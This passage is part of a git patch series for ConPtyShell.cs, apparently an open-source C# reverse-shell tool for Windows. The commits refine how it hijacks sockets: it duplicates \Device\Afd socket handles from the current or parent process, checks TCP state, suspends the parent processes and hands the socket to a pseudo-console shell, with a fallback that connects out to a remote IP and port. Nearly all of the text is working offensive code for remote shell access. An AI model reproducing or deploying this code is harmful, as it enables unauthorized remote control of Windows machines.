IntPtr.Zero; - CloseHandle(dupHandle); - } - } - Marshal.FreeHGlobal(ptrHandlesInfo); - return socketHandle; - } - public static List GetSocketsTargetProcess(Process targetProcess) { @@ -1046,11 +970,12 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows if(conptyCompatible){ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); if(upgradeShell){ + List socketsHandles = new List(); currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); - shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess); - if(shellSocket != IntPtr.Zero){ + socketsHandles = SocketHijacking.GetSocketsTargetProcess(currentProcess); + if(socketsHandles.Count > 0){ shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); if(parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); @@ -1058,7 +983,10 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows else shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); if(grandParentProcess != null) - grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); + grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); + // cleaning all socket handles duplicated + foreach (IntPtr dupHandle in socketsHandles) + CloseHandle(dupHandle); } else{ shellSocket = connectRemote(remoteIp, remotePort); @@ -1102,7 +1030,6 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows sInfo.hStdError = OutputPipeWrite; CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } - // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. From 6b01215769dd259ac1514100cbff4cd125a69b2d Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 01:36:47 +0200 Subject: [PATCH 07/35] small clarification comment added --- ConPtyShell.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index cad3312..b09d112 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -416,6 +416,7 @@ public static List GetSocketsTargetProcess(Process targetProcess) } Marshal.FreeHGlobal(ptrHandlesInfo); if (socketsHandles.Count >= 2) + // ordering for newer handles we have a higher chance to get the proper socket socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (b.ToInt64().CompareTo(a.ToInt64())); }); return socketsHandles; } From 8f7d04688910a5fd9ca621c2277fe8aac6d48fec Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 01:42:07 +0200 Subject: [PATCH 08/35] small clarification comment added --- ConPtyShell.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index b09d112..da9f541 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -1039,6 +1039,7 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); + // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle); if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); WaitForSingleObject(childProcessInfo.hProcess, INFINITE); From b1e33b64e38a289c6456acdb8bf3ffe8be77ac3b Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 20:27:16 +0200 Subject: [PATCH 09/35] bugfix: socket hijacking selection now works even in processes with multiple sockets, eg powershell.exe --- ConPtyShell.cs | 107 +++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 94 insertions(+), 13 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index da9f541..adb88a1 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -4,6 +4,7 @@ using System.Threading; using System.Net; using System.Net.Sockets; +using System.Net.NetworkInformation; using System.Runtime.InteropServices; using System.Diagnostics; using System.Collections.Generic; @@ -66,6 +67,7 @@ public static class SocketHijacking { private const int WSA_FLAG_OVERLAPPED = 0x1; private const int DUPLICATE_SAME_ACCESS = 0x2; private const int SystemHandleInformation = 16; + private const int SIO_TCP_INFO = unchecked((int)0xD8000027); [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO @@ -212,6 +214,30 @@ private struct SOCKADDR_IN public long sin_zero; } + [StructLayout(LayoutKind.Sequential)] + private struct TCP_INFO_v0 + { + public TcpState State; + public UInt32 Mss; + public UInt64 ConnectionTimeMs; + public byte TimestampsEnabled; + public UInt32 RttUs; + public UInt32 MinRttUs; + public UInt32 BytesInFlight; + public UInt32 Cwnd; + public UInt32 SndWnd; + public UInt32 RcvWnd; + public UInt32 RcvBuf; + public UInt64 BytesOut; + public UInt64 BytesIn; + public UInt32 BytesReordered; + public UInt32 BytesRetrans; + public UInt32 FastRetrans; + public UInt32 DupAcksIn; + public UInt32 TimeoutEpisodes; + public byte SynRetrans; + } + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); @@ -227,6 +253,13 @@ private struct SOCKADDR_IN [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); + // WSAIoctl1 implementation specific for SIO_TCP_INFO control code + [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")] + public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine); + + [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int closesocket(IntPtr s); + [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); @@ -274,6 +307,7 @@ private static IntPtr QueryObjectTypesInfo() { return ptrObjectTypesInformation; } + // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h private static long AlignUp(long address, long align) { return (((address) + (align) - 1) & ~((align) - 1)); } @@ -304,7 +338,30 @@ private static byte GetTypeIndexByName(string ObjectName){ return TypeIndex; } - //helper method with "dynamic" buffer allocation + private static bool IsSocketHijackable(IntPtr socket) { + bool ret = false; + int result = -1; + UInt32 tcpInfoVersion = 0; + int bytesReturned = 0; + int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0)); + IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize); + result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); + if (result != 0) + { + Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); + ret = false; + } + else { + TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); + Console.WriteLine("debug: bytes returned " + bytesReturned.ToString() + " Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString()); + if (tcpInfoV0.State == TcpState.SynReceived || tcpInfoV0.State == TcpState.Established) + ret = true; + } + Marshal.FreeHGlobal(tcpInfoPtr); + return ret; + } + + //helper method with "dynamic" buffer allocation public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) { if (infoLength == 0) @@ -381,7 +438,7 @@ public static List GetSocketsTargetProcess(Process targetProcess) { if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) { // this will avoids deadlocks on special named pipe handles - // Console.WriteLine("debug: Deadlock detected"); + Console.WriteLine("debug: Deadlock detected"); CloseHandle(dupHandle); continue; } @@ -416,8 +473,8 @@ public static List GetSocketsTargetProcess(Process targetProcess) } Marshal.FreeHGlobal(ptrHandlesInfo); if (socketsHandles.Count >= 2) - // ordering for newer handles we have a higher chance to get the proper socket - socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (b.ToInt64().CompareTo(a.ToInt64())); }); + // ordering for older handles we have a higher chance to get the proper socket + socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (a.ToInt64().CompareTo(b.ToInt64())); }); return socketsHandles; } @@ -438,7 +495,7 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) continue; if (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) { - // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); + Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); inherited = true; break; } @@ -448,7 +505,26 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) CloseHandle(dupHandle); return inherited; } - + + public static void CountTcpConnections() + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + TcpConnectionInformation[] connections = properties.GetActiveTcpConnections(); + int establishedConnections = 0; + + foreach (TcpConnectionInformation t in connections) + { + if (t.State == TcpState.Established) + { + establishedConnections++; + } + Console.Write("Local endpoint: {0} ", t.LocalEndPoint.Address); + Console.WriteLine("Remote endpoint: {0} ", t.RemoteEndPoint.Address); + } + Console.WriteLine("There are {0} established TCP connections.", + establishedConnections); + } + public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { IntPtr targetSocketHandle = IntPtr.Zero; @@ -468,10 +544,15 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) continue; + if (!IsSocketHijackable(dupSocketHandle)) { + closesocket(dupSocketHandle); + continue; + } targetSocketHandle = dupSocketHandle; break; } } + // cleaning all socket handles foreach (IntPtr dupHandle in targetProcessSockets) CloseHandle(dupHandle); @@ -975,19 +1056,19 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); - socketsHandles = SocketHijacking.GetSocketsTargetProcess(currentProcess); - if(socketsHandles.Count > 0){ - shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); + // try to duplicate the socket for the current process + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); + if (shellSocket != IntPtr.Zero){ if(parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); } else + // if no sockets are found in the current process we try to hijack our current parent process socket shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); - if(grandParentProcess != null) + if(shellSocket == IntPtr.Zero) + throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); + if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); - // cleaning all socket handles duplicated - foreach (IntPtr dupHandle in socketsHandles) - CloseHandle(dupHandle); } else{ shellSocket = connectRemote(remoteIp, remotePort); From bdd1d840b363d57e7631f09e1bde4abfb61a9ad2 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 20:29:07 +0200 Subject: [PATCH 10/35] removed old and unused code --- ConPtyShell.cs | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index adb88a1..588ec1b 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -506,25 +506,6 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) return inherited; } - public static void CountTcpConnections() - { - IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); - TcpConnectionInformation[] connections = properties.GetActiveTcpConnections(); - int establishedConnections = 0; - - foreach (TcpConnectionInformation t in connections) - { - if (t.State == TcpState.Established) - { - establishedConnections++; - } - Console.Write("Local endpoint: {0} ", t.LocalEndPoint.Address); - Console.WriteLine("Remote endpoint: {0} ", t.RemoteEndPoint.Address); - } - Console.WriteLine("There are {0} established TCP connections.", - establishedConnections); - } - public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { IntPtr targetSocketHandle = IntPtr.Zero; From c2bc85ed7bbd042784d3589be76aafc2f139e83f Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 20:34:35 +0200 Subject: [PATCH 11/35] small bugfix in the grandparent process find --- ConPtyShell.cs | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 588ec1b..2fc7d8a 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -1036,12 +1036,11 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows List socketsHandles = new List(); currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); - grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); + if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); // try to duplicate the socket for the current process shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); if (shellSocket != IntPtr.Zero){ - if(parentProcess != null) - parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); + if(parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); } else // if no sockets are found in the current process we try to hijack our current parent process socket From 25ba8f0c77deb4449121521674826e485e4793d5 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 20:58:43 +0200 Subject: [PATCH 12/35] being nice to slower CPUs :) --- ConPtyShell.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 2fc7d8a..ea48f49 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -49,7 +49,7 @@ public bool CheckDeadlockDetected(IntPtr tHandle){ uint threadId = 0; //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); - WaitForSingleObject(hThread, 1000); + WaitForSingleObject(hThread, 3000); //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. //just some waste of threads :( CloseHandle(hThread); From 0a8afcde44595d1cef888334719024e815c8c851 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 22:31:25 +0200 Subject: [PATCH 13/35] small bugfix in bad management of error --- ConPtyShell.cs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index ea48f49..0be2e10 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -510,11 +510,12 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { IntPtr targetSocketHandle = IntPtr.Zero; List targetProcessSockets = GetSocketsTargetProcess(targetProcess); - if(targetProcessSockets.Count < 1) - throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); - else{ + if (targetProcessSockets.Count < 1) + return targetSocketHandle; + else + { WSAData data; - if( WSAStartup(2 << 8 | 2, out data) != 0 ) + if (WSAStartup(2 << 8 | 2, out data) != 0) throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); foreach (IntPtr socketHandle in targetProcessSockets) { IntPtr dupSocketHandle = IntPtr.Zero; From 634003f91e4f2aca03c14e1dc56fb054bd92ad6a Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 22:37:48 +0200 Subject: [PATCH 14/35] code refactor for WSAStartup --- ConPtyShell.cs | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 0be2e10..2d37da6 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -514,9 +514,6 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) return targetSocketHandle; else { - WSAData data; - if (WSAStartup(2 << 8 | 2, out data) != 0) - throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); foreach (IntPtr socketHandle in targetProcessSockets) { IntPtr dupSocketHandle = IntPtr.Zero; WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); @@ -798,7 +795,13 @@ private struct SOCKADDR_IN [DllImport("ntdll.dll")] private static extern uint NtResumeProcess(IntPtr processHandle); - + + private static void InitWSAThread() { + WSAData data; + if (WSAStartup(2 << 8 | 2, out data) != 0) + throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); + } + private static IntPtr connectRemote(string remoteIp, int remotePort) { int port = 0; @@ -811,12 +814,6 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); } - WSAData data; - if( WSAStartup(2 << 8 | 2, out data) != 0 ) { - error = WSAGetLastError(); - throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", error)); - } - IntPtr socket = IntPtr.Zero; socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); @@ -1030,8 +1027,10 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); // comment the below function to debug errors InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); - - if(conptyCompatible){ + // init wsastartup stuff for this thread + InitWSAThread(); + + if (conptyCompatible){ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); if(upgradeShell){ List socketsHandles = new List(); From 96160d09cd761d4c66fe505478c09b8eef8fe440 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 22:39:29 +0200 Subject: [PATCH 15/35] removing unnecessary pinvoke definition --- ConPtyShell.cs | 3 --- 1 file changed, 3 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 2d37da6..69e6266 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -238,9 +238,6 @@ private struct TCP_INFO_v0 public byte SynRetrans; } - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); - [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); From 48950d007698cc61fa0d6bd81007eecd1799ef38 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 23:09:53 +0200 Subject: [PATCH 16/35] bugfix: in IsSocketInherited now it correctly duplicate sockets --- ConPtyShell.cs | 41 +++++++++++++++++++++++++++-------------- 1 file changed, 27 insertions(+), 14 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 69e6266..428b12e 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -358,6 +358,21 @@ private static bool IsSocketHijackable(IntPtr socket) { return ret; } + private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { + IntPtr retSocket = IntPtr.Zero; + IntPtr duplicatedSocket = IntPtr.Zero; + WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); + int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); + if (status == 0) + { + duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); + if (duplicatedSocket.ToInt64() > 0) { + retSocket = duplicatedSocket; + } + } + return retSocket; + } + //helper method with "dynamic" buffer allocation public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) { @@ -486,16 +501,20 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); - if (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0) - continue; - if (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0) - continue; - if (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) + IntPtr duplicatedParentSocket = DuplicateSocketFromHandle(parentSocketHandle); + if (duplicatedParentSocket == IntPtr.Zero) continue; + if ( + (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) && + (getpeername(duplicatedParentSocket, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) && + (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) + ) { - Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); + Console.WriteLine("debug: found inherited socket! handle --> 0x" + duplicatedParentSocket.ToString("X4")); inherited = true; + closesocket(duplicatedParentSocket); break; } + closesocket(duplicatedParentSocket); } // cleaning all socket handles foreach (IntPtr dupHandle in parentSocketsHandles) @@ -513,13 +532,8 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { foreach (IntPtr socketHandle in targetProcessSockets) { IntPtr dupSocketHandle = IntPtr.Zero; - WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); - int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); - if (status != 0) - continue; - dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); - if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) - continue; + dupSocketHandle = DuplicateSocketFromHandle(socketHandle); + if (dupSocketHandle == IntPtr.Zero) continue; if (!IsSocketHijackable(dupSocketHandle)) { closesocket(dupSocketHandle); continue; @@ -528,7 +542,6 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) break; } } - // cleaning all socket handles foreach (IntPtr dupHandle in targetProcessSockets) CloseHandle(dupHandle); From a2f1a45888bd7f89434f657e8725484d3b8bdcae Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Tue, 8 Jun 2021 20:52:40 +0200 Subject: [PATCH 17/35] added some debugging code and comments --- ConPtyShell.cs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 428b12e..b9e6f5f 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -358,6 +358,7 @@ private static bool IsSocketHijackable(IntPtr socket) { return ret; } + // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { IntPtr retSocket = IntPtr.Zero; IntPtr duplicatedSocket = IntPtr.Zero; @@ -365,7 +366,8 @@ private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); if (status == 0) { - duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); + // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. + duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); if (duplicatedSocket.ToInt64() > 0) { retSocket = duplicatedSocket; } @@ -522,6 +524,10 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) return inherited; } + private static void CheckOverlappedSocket(IntPtr socket) { + + } + public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { IntPtr targetSocketHandle = IntPtr.Zero; @@ -538,6 +544,7 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) closesocket(dupSocketHandle); continue; } + CheckOverlappedSocket(dupSocketHandle); targetSocketHandle = dupSocketHandle; break; } @@ -972,6 +979,7 @@ private static void ThreadReadPipeWriteSocket(object threadParams) readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0); } while (bytesSent > 0 && readSuccess); + Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); } private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){ @@ -998,6 +1006,7 @@ private static void ThreadReadSocketWritePipe(object threadParams) nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); + Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); TerminateProcess(hChildProcess, 0); } From d406c3a246cc357064e50e2acac8db122ec016d6 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Tue, 8 Jun 2021 20:56:35 +0200 Subject: [PATCH 18/35] fixed a memory leak bug --- ConPtyShell.cs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index b9e6f5f..117c01a 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -36,8 +36,10 @@ public class DeadlockCheckHelper{ private uint ThreadCheckDeadlock(uint threadParams) { - SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + IntPtr objPtr = IntPtr.Zero; + objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); this.deadlockDetected = false; + if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); return 0; } From b280e4444a09f37260cffe1b2bded65fb6e28053 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Wed, 9 Jun 2021 01:44:53 +0200 Subject: [PATCH 19/35] added a check for detecting non-overlapped sockets --- ConPtyShell.cs | 603 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 411 insertions(+), 192 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 117c01a..f2eff66 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -13,27 +13,28 @@ public class ConPtyShellException : Exception { private const string error_string = "[-] ConPtyShellException: "; - public ConPtyShellException(){} + public ConPtyShellException() { } - public ConPtyShellException(string message) : base(error_string + message){} + public ConPtyShellException(string message) : base(error_string + message) { } } -public class DeadlockCheckHelper{ - +public class DeadlockCheckHelper +{ + private bool deadlockDetected; private IntPtr targetHandle; - + private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); - + [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32.dll", SetLastError=true)] + + [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - [DllImport("Kernel32.dll", SetLastError=true)] + + [DllImport("Kernel32.dll", SetLastError = true)] private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); - + private uint ThreadCheckDeadlock(uint threadParams) { IntPtr objPtr = IntPtr.Zero; @@ -42,8 +43,9 @@ private uint ThreadCheckDeadlock(uint threadParams) if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); return 0; } - - public bool CheckDeadlockDetected(IntPtr tHandle){ + + public bool CheckDeadlockDetected(IntPtr tHandle) + { this.deadlockDetected = true; this.targetHandle = tHandle; 